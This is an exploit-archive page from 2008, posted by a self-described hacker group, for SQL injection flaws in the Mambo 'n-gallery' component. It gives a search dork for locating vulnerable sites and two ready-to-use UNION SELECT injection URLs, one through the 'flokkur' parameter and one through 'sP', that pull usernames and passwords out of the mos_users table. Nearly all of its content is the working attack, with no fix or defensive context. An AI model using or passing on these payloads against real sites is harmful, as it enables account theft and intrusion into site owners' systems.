[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Mambo Component n-gallery Multiple SQL Injection Vulnerabilities
# Published : 2008-06-30
# Author : AlbaniaN-[H]
# Previous Title : pSys v0.7.0 Alpha (chatbox.php) Remote SQL Injection Vulnerability
# Next Title : HIOX Banner Rotator 1.3 (hm) Remote File Inclusion Vulnerability


###########################################
#                                         #
# Mambo Component n-gallery SQL Injection #
#                                         # 
###########################################
#                                         #
##Author : AlbaniaN-[H]                   # 
#                                         #
###Site : http://www.khg-crew.ws          #
#                                         #
####Home Page : http://www.vaalon.org     #
#                                         #
#####Email : valion@khg-crew.ws           #
#                                         #
###########################################
#                                         #
# DORK : allinurl:"com_n-gallery"         #
#                                         #  
###########################################
#                                         #
##############################################################################################################################################################
#            #                                                                                                                                               #
#Exploit 1 : #                                                                                                                                               #
#            #################################################################################################################################################
#                                                                                                                                                            #
# index.php?option=com_n-gallery&flokkur=-1+union+select+concat(username,char(58),password)KHG+from+mos_users--                                              #
#                                                                                                                                                            #
##############################################################################################################################################################
#            #                                                                                                                                               #
#Exploit 2 : #                                                                                                                                               #
#            #################################################################################################################################################
#                                                                                                                                                            #
# index.php?option=com_n-gallery&Itemid=29&sP=-1+union+select+1,2,concat(username,char(58),password)KHG,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+mos_users/* #
#                                                                                                                                                            #
##############################################################################################################################################################
#          Kosova Hackers Group           # 
###########################################
#             AlbaniaN-[H]                #
###########################################
#         Republic of Kosova (K)          # 
###########################################
#      Greetings to: urtan,redc00de       # 
###########################################
#    & all Kosova Hackers Group           # 
###########################################
#&all muslim peoples all over the world :)#
###########################################

# www.Syue.com [2008-06-30]